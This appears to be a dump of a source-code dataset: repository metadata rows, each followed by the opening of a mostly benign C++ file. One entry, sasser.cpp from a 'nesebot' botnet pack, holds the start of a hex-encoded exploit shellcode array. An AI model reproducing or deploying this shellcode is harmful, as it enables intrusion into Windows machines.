** Meta object code from reading C++ file 'lengthmeasurementcameraworker.h'
**
** Created by: The Qt Meta Object Compiler version 67 (Qt 5.4.1)
**
** WARNING! All changes made in this file will be lost!
***************************************... |
4fe466d146461c71ba0beeb6470c1d3d49ae9edf | 01528a046e1c5bfaa1e1b94d30babb35675c9f3a | /trunk/iWinOnline-cocos2dx/iwin/Classes/Network/JsonObject/captcha/CaptchaInfo.h | 861548cdc062e353ef8722f47be6929c477e0bb1 | [] | no_license | flowerfx/cc_iw_game | f48802b355baaaff887e289d7cd97d2ba8f58082 | 81309a8651e2ec089d1bd08a07cacb0949d05df7 | refs/heads/master | 2021-01-21T15:32:22.670075 | 2020-05-08T09:15:50 | 2020-05-08T09:15:50 | 81,444,503 | 0 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 454 | h | CaptchaInfo.h | #ifndef _CaptchaInfo_H_
#define _CaptchaInfo_H_
#include "platform/CCPlatformMacros.h"
#include <string>
#include "json/document.h"
#include <vector>
namespace iwinmesage
{
class CaptchaInfo
{
CC_SYNTHESIZE(std::string, id, Id);
CC_SYNTHESIZE(std::string, image, Image);
public:
CaptchaInfo();
virtual ~Ca... |
0ba1ef6bf79f5b241285e5cf44ee054ebd7d7647 | 70238f403826253b36323e0c4700795788c61187 | /thirdparty/iPlug2/Tests/IGraphicsTest/IGraphicsTest.cpp | 4d550d50a5c13fb9d52c30d85c5c050435f2beb5 | [
"MIT",
"LicenseRef-scancode-other-permissive",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | tommitytom/RetroPlug | d4d1c9d671cec7373bf3e27030bc0d29b46191be | 40c6f01352d50cb31b1d4f31b7cc17fd2cf47ce8 | refs/heads/main | 2023-06-30T00:28:58.282288 | 2022-11-01T02:03:57 | 2022-11-01T02:03:57 | 185,368,230 | 262 | 11 | MIT | 2021-08-15T04:15:59 | 2019-05-07T09:23:48 | C++ | UTF-8 | C++ | false | false | 6,583 | cpp | IGraphicsTest.cpp | #include "IGraphicsTest.h"
#include "IPlug_include_in_plug_src.h"
#if IPLUG_EDITOR
#include "IControls.h"
#include "Test/TestControls.h"
#endif
enum EParam
{
kParamDummy = 0,
kNumParams
};
enum EControlTags
{
kCtrlTagTestControl = 0
};
IGraphicsTest::IGraphicsTest(const InstanceInfo& info)
: Plugin(info, Make... |
11633ebc701aaf7d6b3f056c48161d95a122a3b6 | 8f6f674f61a4046a834c1b5d3cfd1548864fcd44 | /plugins/pelo/pelo_epo.cpp | 0aeaba057453fa3db71c0462b1d20161bd2da71b | [
"MIT"
] | permissive | ruofeidu/rgba | a7892503cd42dfa4da1a6bc06b0bb0617658d5ca | f68320a03ea3d6c03184906f1033b5ea81b1f9d6 | refs/heads/master | 2021-01-18T01:51:59.096238 | 2013-08-21T21:31:53 | 2013-08-21T21:31:53 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,065 | cpp | pelo_epo.cpp | #include <epopeia/epopeia_system.h>
#include "pelo.h"
//-----------------------------------------------------------------------------
static void* Fan_New( int num, float lon, char *name, float tscale )
{
return( PELO_Init(num,lon,name,tscale) );
}
//--------------------------------------------------------------... |
dcf4841276c40d5cbdc1cd4a66c552e59cc99675 | ee24ef7aaa7d4ab6a66c56e95953414306302df3 | /Cpp/SDK/Cv2_Base_Tank_parameters.h | 0ad3bec9b57ff8db60f9b7491f27cb5b80d5531d | [] | no_license | zH4x-SDK/zAWL-SDK | bfc0573125d3398d892c85eac05a6575592db187 | 3d7001585dab120480e0d16fc24396f61a1d46c6 | refs/heads/main | 2023-07-15T11:05:51.834741 | 2021-08-31T15:10:19 | 2021-08-31T15:10:19 | 401,745,502 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,587 | h | Cv2_Base_Tank_parameters.h | #pragma once
// Name: AWL, Version: 4.24.3
/*!!DEFINE!!*/
/*!!HELPER_DEF!!*/
/*!!HELPER_INC!!*/
#ifdef _MSC_VER
#pragma pack(push, 0x01)
#endif
namespace CG
{
//---------------------------------------------------------------------------
// Parameters
//----------------------------------------------------------... |
fca1492b26a3f4f16dd1caf43bde9e6f7dac512f | 7c4b1d0039173e3949bb6fc1ef824ba2499d8f57 | /HDU/problems/3032.cpp | 81f1966eb8f931b51678c5cd35f44ccb15ad6a48 | [] | no_license | sdwalker233/ICPC | af73b75b73591b7a124684bc3d3d0cd8ba5a2bdf | a8706f00c30810b9523e5a190d6d542745bf921f | refs/heads/master | 2023-06-24T15:07:22.746366 | 2017-09-17T11:21:35 | 2017-09-17T11:21:40 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 324 | cpp | 3032.cpp | #include <bits/stdc++.h>
using namespace std;
int SG[1010];
bool vis[2010];
int main()
{
int i,j;
for(i=1;i<=100;i++){
memset(vis,0,sizeof(vis));
for(j=1;j<i;j++){
vis[SG[j]]=1;
vis[SG[j]^SG[i-j]]=1;
}
for(j=0;j<=2*i;j++)
if(vis[j]==0) break;
SG[i]=j;
printf("SG[%d]=%d\n",i,SG[j]);
}
return 0;... |
7c77fe09246c4aef62810d56fafff8a5f1da6d84 | d10e3163b018d182bf15a45b94a49fea7fce1778 | /AAMonitor/AAinterface.h | 25eaddbfb3e4eb83c6c8978c416745f4dc879d7c | [
"MIT"
] | permissive | DongZhaoYu/AARFS | 732c9ee59ced9a661f773c23ee6c8c2f443be569 | abb67f411e42eff3dd0015f89d9d3c29dee9cdc4 | refs/heads/master | 2020-05-30T04:15:58.266114 | 2017-09-16T03:49:54 | 2017-09-16T03:49:54 | 27,772,680 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,039 | h | AAinterface.h | /*
* @file: AAinterface.h
* @brief: an interface for monitor
* @author: dongzhaoyu
* @date: 2008-4-10
*
* Copyright (c) 2008 CTEC Xi'an JiaoTong University
*/
#if _MSC_VER > 1200
#pragma once
#define _AAINTERFACE_H
#endif
/*
* This file is a definition of the interface for a radar monitor,
* in the mo... |
d7ea9f819f40550799deda670be99cfd5aaa479f | 06fd699af60868293f2d03b19067126d6bca8312 | /Connect.cpp | 84ac19fdc36271b63dabd803fe006ca7b8239828 | [] | no_license | joysenlong/OurMindClient | d368e020c018a8b530c2acad91c3deccfb4bd5a9 | cfdf715d4d3bd45fe223e30366b74dca6d21c5c0 | refs/heads/master | 2020-11-29T10:31:08.580147 | 2018-12-16T13:21:31 | 2018-12-16T13:21:31 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 23,053 | cpp | Connect.cpp |
//网络处理文件
#include "stdafx.h"
#include "OurMindClient.h"
#include "OurMindClientDlg.h"
CString g_ServerIp;//绑定服务器IP
sockaddr_in g_ServerSocket;//服务器套接字
/****************************************************************/
/*************************服务器同步开始*************************/
/*****************... |
44342d11e3baba2ec8438db0a98dc6b6b2b7a980 | 04e06e62864bd577b431af6b6d33507cecde52dc | /dijetcore/util/data/trigger_lookup.h | 8a540508d2d0455afed0b439cc38b533b1619149 | [] | no_license | nickelsey/dijetcore | 50a7e28e19b56384c140d744d0857713174e2df4 | 3fa1a4a08214b2e47c0121d8d71034f37c1a2501 | refs/heads/master | 2021-06-09T20:33:50.798179 | 2021-03-25T05:46:54 | 2021-03-25T05:46:54 | 146,124,673 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 11,331 | h | trigger_lookup.h | #ifndef DIJETCORE_UTIL_DATA_TRIGGER_LOOKUP_H
#define DIJETCORE_UTIL_DATA_TRIGGER_LOOKUP_H
// A lookup table for trigger IDs
// y6 PP 200 GeV:
// HT, JP
// y7 AuAu 200 GeV:
// L2Gamma, MB
// y8 PP 200 GeV:
// HT, MB
// y8 dau 200 GeV:
// HT
// y9 PP 200 GeV
// HT, JP
// y10 AuAu 200 GeV:
// ... |
6101d3b91aacf1c1ca9566914ac3fc26550d90e7 | 6467bb08e02e7bb47a59ad7d512926d70da3c5f5 | /branches/haiku_test/framework/haiku_parsedate.cpp | c7a200fb1f14e923db7a16e28351be03d6aebb37 | [] | no_license | svn2github/Themis | 1ed26434317a30c61e751eb9800ea96077b6c73c | 20be549491930fe86246ff748c55139201ead7a8 | refs/heads/master | 2020-12-25T15:28:53.785606 | 2018-03-12T21:55:53 | 2018-03-12T21:55:53 | 61,454,928 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 21,235 | cpp | haiku_parsedate.cpp | /*
* Copyright 2003-2008, Axel Dörfler, axeld@pinc-software.de.
* Distributed under the terms of the MIT License.
*/
#ifndef __HAIKU__
#include <parsedate.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <OS.h>
#define TRACE_PARSEDATE 0
#if TRACE_PARSEDATE
# define TRACE... |
cff3fa1b64284afa4a114c90057a8e16f867a480 | 11559ad515b9a9751227ce1b7af4383003b0c16f | /main.cpp | 60bf4e895599a87229dde851b172919b36300965 | [] | no_license | adaapp/primers-portfolio-johangodinho14 | cfd3d0100ed2021e32cb3836dccdd04e414b231c | c1fe668b27c05926841e12260f07648d6225ea9c | refs/heads/main | 2023-07-24T12:43:03.727421 | 2021-08-25T19:07:36 | 2021-08-25T19:07:36 | 396,787,706 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,830 | cpp | main.cpp | #include <iostream>//defines the standard devices cin, cout, clog, ceer; for more info see http://www.cplusplus.com/reference/iostream/
#include <string> //defines string types and conventions including begin & end iterator; for more info see http://www.cplusplus.com/reference/string/
#include <algorithm>//defines a co... |
af810ccc1d2aa3c468963742a371b3df70e52588 | 8f50c262f89d3dc4f15f2f67eb76e686b8f808f5 | /MuonSpectrometer/MuonReconstruction/MuonRecEvent/MuonTrigCoinData/MuonTrigCoinData/MuonCoinDataContainer.h | 0f5b7315927dc2f2521514216eda2b9bd37a24ce | [
"Apache-2.0"
] | permissive | strigazi/athena | 2d099e6aab4a94ab8b636ae681736da4e13ac5c9 | 354f92551294f7be678aebcd7b9d67d2c4448176 | refs/heads/master | 2022-12-09T02:05:30.632208 | 2020-09-03T14:03:18 | 2020-09-03T14:03:18 | 292,587,480 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 3,049 | h | MuonCoinDataContainer.h | /*
Copyright (C) 2002-2018 CERN for the benefit of the ATLAS collaboration
*/
///////////////////////////////////////////////////////////////////
// MuonCoinDataContainer.h
// Header file for class MuonCoinDataContainer
///////////////////////////////////////////////////////////////////
// (c) ATLAS Detector softw... |
7d8cd85e4b8c517b4ddf1963339ab8a7d31a8725 | 40f64b398b9297dc4e2730161c4ddcf96b0731d4 | /src/client/ResolveCommand.cpp | 3e5c3c753a025932b446be06b807c2c1fdaf0682 | [
"MIT"
] | permissive | tt4g/boost-asio-tcp-echo | 6d09ef578e49f257fcad5c87098c55b5ca103527 | 354ae7da433375417b6559737a9c50eb1ee93f3e | refs/heads/master | 2020-05-18T05:20:17.070869 | 2019-05-18T07:07:59 | 2019-05-18T07:07:59 | 184,201,993 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,160 | cpp | ResolveCommand.cpp | #include "client/ResolveCommand.hpp"
#include <iostream>
#include <utility>
namespace boost_asio_tcp_echo
{
namespace client
{
ResolveCommand::ResolveCommand(
boost::asio::io_context &ioContext,
std::shared_ptr<Settings> settings)
: std::enable_shared_from_this<ResolveCommand>(),
io... |
1d15aa77486ae839887cc0c4cdd068eac87f970a | 6e3bc2c7aac621753b06b82d03dee7d696cfcf95 | /src/measurement.cpp | d6c2b2e92fdf735bf2f69d39a327ddad6b154668 | [
"MIT"
] | permissive | faelwar/Localizador | 09d00225fd3e8412b75d94b695e92017f1da846e | e475096623087be2f9fc2d2e479ebfc513ee88a4 | refs/heads/master | 2020-04-17T07:42:26.927282 | 2013-08-26T18:49:01 | 2013-08-26T18:49:01 | 10,460,242 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,611 | cpp | measurement.cpp | #include "measurement.h"
#include "rssi.h"
Measurement::Measurement(){
}
Measurement::Measurement(Direction d, QTime t){
dir = d;
time = t;
}
Measurement::Measurement(QList<rssi> l, Direction d, QTime t){
listRSSI = l;
dir = d;
time = t;
}
QList<rssi> Measurement::getList(){
return listRSSI... |
7d1ba9fbbb80fd212d793601ac810dc4613ebf35 | 9a61e27df54c66ba4d935056df102fb3cf35605b | /snippets/algorithm/inclusive_scan.cpp | c00149e523c9c65c3d728e861a110f0eed5679b4 | [
"MIT"
] | permissive | Aazim-parwaz/30-seconds-of-cpp | 2c0a654647e7acde29d585f6d1e115c4392a99cf | 272b42e5d762fa78ceffb19bfe17fdbbc7cc5a0b | refs/heads/master | 2023-07-03T07:29:12.223648 | 2021-08-18T19:23:20 | 2021-08-18T19:23:20 | 397,700,592 | 1 | 0 | MIT | 2021-08-18T18:45:43 | 2021-08-18T18:33:50 | null | UTF-8 | C++ | false | false | 1,656 | cpp | inclusive_scan.cpp | /*
Author : Claudio Montanari
Date : 26/06/1995
Time : 15:30
Description : Computes inclusive prefix binary operation on a range (sum by default).
*/
#include <iostream>
#include <vector>
#include <numeric>
#include <iterator>
int main() {
std::vector<int> v{ 1, 2, 3, 4, 3, 10 };
std::cou... |
ce877d0d391f7af92a89997a7f9818ed60a5ffb4 | 4b716aa46c614391b05988868d334464a91e3cec | /ens210.cpp | 4d20db4716e3d492cf7906819f80227206d9cf03 | [
"MIT"
] | permissive | tinic/pendant2021-stm32wl | 01507c095d0e44cde7ef9b5bbcf5e5919233ac8f | a61b0e5eea99192e6719da893bed9a98e48673ef | refs/heads/main | 2023-08-22T11:26:17.784762 | 2021-10-19T03:05:04 | 2021-10-19T03:05:04 | 356,561,891 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,619 | cpp | ens210.cpp | /*
Copyright 2021 Tinic Uro
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicens... |
62e215cb9a08fcdc63a569fc82221729c6155a84 | 016cb92d3cd112de1d6cfe2723dab43399dd881d | /CPP Review/C++P+/namespace/namesp.h | 260d4f778f792467ec2ba66a4620df9ee0e921a5 | [] | no_license | QuasimodoJL/Unix | 23b236b44dff579aefae5a3171398f8d1d53115f | e6aea58c88236e28855076be4bd65c86e2b5c4c3 | refs/heads/master | 2023-07-07T09:31:43.720093 | 2021-06-09T19:03:33 | 2021-06-09T19:03:33 | 374,983,309 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 544 | h | namesp.h | //
// Created by 梁佳皓 on 2018/7/5.
//
#ifndef NAMESPACE_NAMESP_H
#define NAMESPACE_NAMESP_H
namespace pers
{
const int LEN = 40;
struct Person
{
char fname[LEN];
char lname[LEN];
};
void getPerson(Person &);
void showPerson(const Person &);
}
namespace debts
{
using namespa... |
a6d9a1bef17096c3bff03b5be8f50640400778a5 | f17a88ddef74abe099a0c9d9d9aa91b90075959c | /Code/Engine/DX12/DX12GfxRenderer.h | 64d11b5bc96d98f88ba3a829954388a544693b14 | [
"MIT",
"Apache-2.0"
] | permissive | NathanSaidas/LiteForgeMirror | bf4b0feb9702b590b510f98f32a3cc1d472f9bb0 | dcb7f690378dd0abe0d1dc3e2783510ce9462fde | refs/heads/master | 2022-06-12T11:55:06.321048 | 2022-05-30T04:37:59 | 2022-05-30T04:37:59 | 184,840,363 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,029 | h | DX12GfxRenderer.h | // ********************************************************************
// Copyright (c) 2021 Nathan Hanlan
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files(the "Software"),
// to deal in the Software without restriction, includ... |
365071c1c5d89bd5a0311c0d3bef50eceb48df94 | b6b019e62ddcfe7f4364cd6fa15acad941af220f | /etc/xcore_dev/utl/xmdl_viewer/src/xmdl_viewer.cpp | 51317f7ffe5f923e2b4360d79066a8e98fb2e618 | [] | no_license | schaban/crossdata_gfx | 999a0e39d111f04a75683d434356b33e64ad0d8b | 075b98adca57056ae35bdd360118d6bac583f29c | refs/heads/master | 2022-08-31T18:01:36.667398 | 2022-08-24T11:49:34 | 2022-08-24T11:49:34 | 95,958,151 | 5 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 43,346 | cpp | xmdl_viewer.cpp | #include "crosscore.hpp"
#include <QtWidgets/QtWidgets>
#include "shaders.inc"
#define MAX_XFORMS 128
#define GP_BIND_XFORM 0
#define GP_BIND_LIGHT 1
#define GP_BIND_COLOR 2
#define GP_BIND_MATERIAL 3
#define TU_BASE 0
struct GPXform {
xt_mtx viewProj;
xt_xmtx xforms[MAX_XFORMS];
};
struct GPLight {
xt_float3... |
b6d1af5c3ef4b8c78fc6fdbc1594ad24cd795130 | c6d1b4adfc0fbbb17e08c3284af95c1e50ed76c2 | /cursach.cpp | cb3c0faaa1196a65065d81943c17b6e9fe2cc26b | [] | no_license | Zemsk/Practika | b4bda9014d5c34766f84d01c576c914897039909 | 50784b022c37c53df76745fbb09438bc095cb542 | refs/heads/main | 2023-06-13T21:37:22.601487 | 2021-07-08T12:00:20 | 2021-07-08T12:00:20 | 384,090,400 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,105 | cpp | cursach.cpp | #define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <conio.h>
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <locale.h>
#define N 1000
#define KEY_ESC 27
#define KEY_ENTER 13
using namespace std;
bool gameover;
int width;
int height;
int sx, sy, fruitX, fruitY, score;
int tailX[100], ta... |
06a9adc1e97a342aa872e7eb91fb08459b04e3be | 98e84802246ecdb47512fe9303ce1c29ac46dfdf | /minesweeper.h | 2ac8b8661c91c3394114f45dc27121adf8a4accb | [] | no_license | Ali-Amin/Minesweeper | 331817abce8da80296954065203f11a6953d76b0 | bcf0df3bbf612086be2c7fbbbb85f26374f4a64f | refs/heads/master | 2020-04-08T23:03:00.520260 | 2018-11-30T10:48:19 | 2018-11-30T10:48:19 | 159,809,392 | 2 | 0 | null | 2019-01-18T16:21:33 | 2018-11-30T10:45:51 | C++ | UTF-8 | C++ | false | false | 3,695 | h | minesweeper.h | #include <iostream>
#include <cstdlib>
#include <ctime>
#include "types.h"
enum {
MINE = 99,
};
class minesweeper{
private:
u32 mines;
u32 xCor,yCor;
u32 firstMove;
u32 gameOver ;
u32 gameWon;
u32 clearedTiles;
u32 cells;
u32 realBoard[4][4];
u32 UIBoard[4][4];
... |
e61cc31e8b4a33b81e0add58125264eb869d7da4 | 21b592908ae966955d587a7644059060265fc80f | /include/base/XUtf8.h | 94628c52f4a29c6a754423cc03f10d380ad59b3a | [
"MIT"
] | permissive | simplify-life/Xlib | 6f11149c51a8ee40eaf62e2388ce54c4cf18cca9 | 53848482f73671baada7d1b78343d749231cc439 | refs/heads/master | 2023-08-06T07:39:05.764540 | 2023-07-28T08:15:53 | 2023-07-28T08:15:53 | 59,676,595 | 4 | 2 | MIT | 2023-05-18T12:52:20 | 2016-05-25T15:48:05 | C++ | UTF-8 | C++ | false | false | 2,435 | h | XUtf8.h | //----------------------------------------------//
// XUtf8.h
// xlib
//
// Copyright (c) __DATA__ Ximena.
// Created by ximena on 16/6/7.
// Copyright © 2016年 ximena. All rights reserved.
// Contact Email: xiaominghe2014@gmail.com
//----------------------------------------------//
#ifndef XUtf8_h
#define XUtf8... |
2f126cba818e09afe6b5cb0082f6b637a22b76ed | 0ae071be2636ffc1135096ec7aaffac725b5fe65 | /EODS_ieds/EODS_IEDS_MENU_PRINCIPAL.hpp | 646e251023d89fc93f12c05b87f685d1d1e4b028 | [] | no_license | kennychr/ied_test | a86b45334de602b8cd9eae566a2680b71d5049c7 | ca03f51f4775f1f659c8e86f888027de86732273 | refs/heads/master | 2020-03-22T20:11:12.964162 | 2018-07-15T01:26:27 | 2018-07-15T01:26:27 | 140,579,371 | 1 | 2 | null | 2018-07-12T21:41:47 | 2018-07-11T13:30:38 | C++ | UTF-8 | C++ | false | false | 4,038 | hpp | EODS_IEDS_MENU_PRINCIPAL.hpp | class EODS_IEDS_MENU_PRINCIPAL {
idd=-1;
movingEnable = 1;
enableSimulation = true;
//onLoad="uiNamespace setVariable ['EODS_IEDS_MENU_PRINCIPAL_CHECK_VAR', _this select 0];_nul = [] execvm '\EODS_ieds\funciones\PCU\Menus\EODS_IEDS_MENU_PRINCIPAL_CHECK.sqf';";
onLoad="if (!EODS_IEDS_PCU_HABILITADO) then {closedial... |
e193005d2543337fda3792780a2bd64bfe58a0bb | d2df8d0307ca2a46037bf2f3e014f71543909031 | /MappingFileSystem/FOF/FileManager.h | 4959e07df65b0785f7c8b27f843bd7f9a29bc6ee | [] | no_license | IPpaTsuEr/Cpp-Practise-VisualFileSystem | 00eef8fa3cef1a04f6f61d7f583e5839e3ffcc88 | 0b4e31c399d2ff800fdea1bcb4288abdd1b70af4 | refs/heads/master | 2020-12-20T17:51:37.867371 | 2020-01-25T11:18:10 | 2020-01-25T11:18:10 | 236,160,215 | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 6,483 | h | FileManager.h | #pragma once
#include"MapManager.h"
#include"HDDProcesser.h"
#include<bitset>
#include<list>
#include<stack>
#include "Messager.h"
#include "NodeProcesser.h"
class FileManager {
HDDProcesser * hd;
Messager msg;
std::string Path;
public:
FileManager() {
msg.OnWarring(0, "\n-----------------开始---------------\n"... |
53360a2ab3a306d3c623aa55c555db6033919be1 | bf32ec099b6c7c276474557887f2cef08ce0dbca | /sweep-line/bentley-ottmann/src/new.cpp | b5ac68798ae40e236a1a62da963eb5a307556eff | [] | no_license | Helsac/computational-geometry-2020-02 | 88d6a77fdd1e441a6d157d1f78bd1d80e0f4bc92 | 8bfdf0f6ebcf94cdfca70871d967898665332cbb | refs/heads/master | 2022-12-25T15:42:29.152559 | 2020-10-03T21:11:15 | 2020-10-03T21:11:15 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 13,039 | cpp | new.cpp | /*
Oscar Burga - 20181A324
Algoritmo de Bentley-Ottmann para intersección de líneas en O((N+K)logN)
La complejidad espacial es O(N+K). Puede reducirse a O(N) si no se desean guardar
los puntos de intersección.
Suposiciones:
* No hay 2 segmentos que compartan algún extremo
* No hay intersecciones de 3 o más línea... |
838f5565fba1e9a123165f05041dbae252e4d41e | e52114a8a4c13eca374ddc58c6a595136225657c | /ShutdownDaemonNotifier/ShutdownDaemonNotifier.cpp | 37c41d96d9346bcfd49c100a55127bdb7827b65c | [
"MIT"
] | permissive | anylee2021/ShutdownDaemon | 5f0ec6d0f11933b6d8eb6c02a6188ee4a30b0455 | f7e852efe287d31eb770e1208ed75b1b52b82698 | refs/heads/master | 2023-03-18T18:35:52.998653 | 2020-08-25T13:27:09 | 2020-08-25T13:27:09 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,962 | cpp | ShutdownDaemonNotifier.cpp | #include <Windows.h>
#include <stdio.h>
#include <conio.h>
#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")
#define APPLICATION_NAME TEXT("MonitorDaemon")
#define CONTROL_HOSTNAME TEXT("homepi.local")
#define CONTROL_URL TEXT("http://homepi.local")
#define FORM_HEADERS TEXT("Content-Type: applicatio... |
968c3aae131f9c618b053c65c0be98f3694dfe06 | 50670b1d56147ca6643889a78d02700f267d143c | /Assignment 2/Assignment 2 Submission/Assignment 2 Code/Assignment 2 Code/JPEGEncoder.h | 45b3e8e4c5593657c7a9f33a29085bb268dabc47 | [] | no_license | jingyangcarl/CSCI576 | 1d3f9d8668a5a43b287eb9537e17f630f79f86f9 | 7a5200283802c04ea26f789dbfd178cb79844049 | refs/heads/master | 2022-01-08T11:33:53.216576 | 2019-05-01T20:38:22 | 2019-05-01T20:38:22 | 168,060,642 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,005 | h | JPEGEncoder.h | #pragma once
#include <qthread.h>
#include <qvector.h>
#include <qmath.h>
#include <qmap.h>
#include <queue>
#include "DCTProcessor.h"
class JPEGEncoder : public QThread {
public:
JPEGEncoder(QByteArray &rgb);
QByteArray GetRDCT();
QByteArray GetGDCT();
QByteArray GetBDCT();
QByteArray GetYDCT();
QByteArray GetC... |
056917521008f043d05e33015048c620c2b16fbf | a1615baa30ea055f5bd15dd8aa32e62d5b029c4f | /Qt/graphics_test/mainwindow.cpp | 1b2ea6e7faf0e37144d0a7b8d915eb5b83ea06be | [] | no_license | Polladin/LandscapeTycoon | 1088d01a4b228f2ce4553f821dbb2163f4d72630 | ebc4dbbe298fe7690d65442cfbaa2bfb5b9d4b49 | refs/heads/master | 2016-09-06T20:07:42.330889 | 2015-06-05T17:07:42 | 2015-06-05T17:07:42 | 27,531,712 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,859 | cpp | mainwindow.cpp | #include "mainwindow.h"
#include "ui_mainwindow.h"
#include "../../src/saves/saves.h"
#include "../../src/test/add_functions.cpp"
#include "../../src/map/Map.cpp"
#include "../../src/algorithms/find_path.cpp"
#include <deque>
#include <QDebug>
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(p... |
23080e7c060cc56592bd000a02f01169f4363817 | 6f224b734744e38062a100c42d737b433292fb47 | /libcxx/test/std/language.support/support.dynamic/new.delete/new.delete.single/new.size_nothrow.replace.indirect.pass.cpp | 2ae0dfa4f1abc41b0c3d46086d4d124ec80ecd38 | [
"NCSA",
"LLVM-exception",
"Apache-2.0",
"MIT"
] | permissive | smeenai/llvm-project | 1af036024dcc175c29c9bd2901358ad9b0e6610e | 764287f1ad69469cc264bb094e8fcdcfdd0fcdfb | refs/heads/main | 2023-09-01T04:26:38.516584 | 2023-08-29T21:11:41 | 2023-08-31T22:16:12 | 216,062,316 | 0 | 0 | Apache-2.0 | 2019-10-18T16:12:03 | 2019-10-18T16:12:03 | null | UTF-8 | C++ | false | false | 1,381 | cpp | new.size_nothrow.replace.indirect.pass.cpp | //===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===---------------------------... |
c2da8251a97d7bcdb513fa1eea9b569283f27d4b | 21da8e3490769f0062fad806abc119ed0334b7cc | /CodeChef/AUG16/CHCHCL.cpp | 9705bebfb051264b927931c9261f8462077f9b3f | [] | no_license | nikhilhassija/CompetitiveProgramming | d2e0606c1badd3209452d670a99234a3ef0d5d6c | 794deb2ef26d03471e78c6fb77f3a72d810d19f1 | refs/heads/master | 2020-04-05T23:06:20.363385 | 2017-12-22T21:19:16 | 2017-12-22T21:19:16 | 42,791,366 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 192 | cpp | CHCHCL.cpp | #include <bits/stdc++.h>
using namespace std;
int main()
{
int t;
cin>>t;
while(t--)
{
int x,y;
cin>>x>>y;
if(x%2==0 || y%2==0)
printf("Yes\n");
else
printf("No\n");
}
} |
b5db23d172346c094edd406d5dbab34e1c179b05 | 003fd3318cd113d295ca550e91631f761848153f | /Section15/Account.cpp | ec973260726bc622154eed3b7fe39efa6fd267a3 | [] | no_license | tran-nick/Learning-CPP | 744be4b9d50bea8d8fc3aa43231b69447adb0d39 | 7fa6c295723579748eb1c58dcaf3dce52d8ac69d | refs/heads/master | 2022-04-24T10:00:44.053993 | 2020-04-25T22:47:20 | 2020-04-25T22:47:20 | 250,141,272 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,888 | cpp | Account.cpp | #include "Account.h"
Account::Account(std::string name, double balance)
: name{ name }, balance{ balance } {
}
//copy constructor
Account::Account(const Account&source)
:name{source.name} , balance{source.balance}{
}
//move constructor
Account::Account(Account&& source) noexcept
: name{ sour... |
197065520e2a8dc4fc6f8901cf8652839c164a2e | d49b8536d996a81fd2a356f2ccd850abd4447217 | /VirusPack/nesebot1.2/sasser.cpp | 934ace94ef78224446c1c79ad6ac7ad7d0f8dc75 | [] | no_license | JonnyBanana/botnets | 28a90ab80f973478d54579f3d3eadc5feb33ff77 | 995b9c20aca5de0ae585ae17780a31e8bdfd9844 | refs/heads/master | 2021-07-01T01:51:01.211451 | 2020-10-22T23:14:57 | 2020-10-22T23:14:57 | 148,392,362 | 9 | 5 | null | null | null | null | UTF-8 | C++ | false | false | 4,433 | cpp | sasser.cpp | #include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_SASSER
char bsh[] =
"\xEB\x0F\x8B\x34\x24\x33\xC9\x80\xC1\xDD\x80\x36\xDE\x46\xE2\xFA"
"\xC3\xE8\xEC\xFF\xFF\xFF\xBA\xB9\x51\xD8\xDE\xDE\x60\xDE\xFE\x9E"
"\xDE\xB6\xED\xEC\xDE\xDE\xB6\xA9\xAD\xEC\x81\x8A\x21\xCB\xDA\xFE"
... |
89a57a71658556c644d758eab63d3c4ba91334dc | 155b023b1f9b286064a20ede6320e3bd8fb77011 | /0127. Word Ladder/solution.cpp | 14764ed6280e5f5808e65930f14f9d3911388fa9 | [] | no_license | zztttt/LeetCode | e34b01dafb11381beeaf1ffe607c310dd5134506 | 7f803bba7ae6e569833adca6294709fa1c494a93 | refs/heads/master | 2022-08-10T08:00:46.532738 | 2022-08-05T15:25:00 | 2022-08-05T15:25:00 | 165,406,546 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,347 | cpp | solution.cpp | class Solution {
public:
int ladderLength(string src, string dst, vector<string>& dict) {
int dictLen = dict.size(), len = src.size();
if (dictLen == 0) return 0;
return bfs(src, dst, dict);
}
int bfs(string src, string dst, vector<string> dict) {
int level = 1;
vector<string> curLevel(1, src);
while (!... |
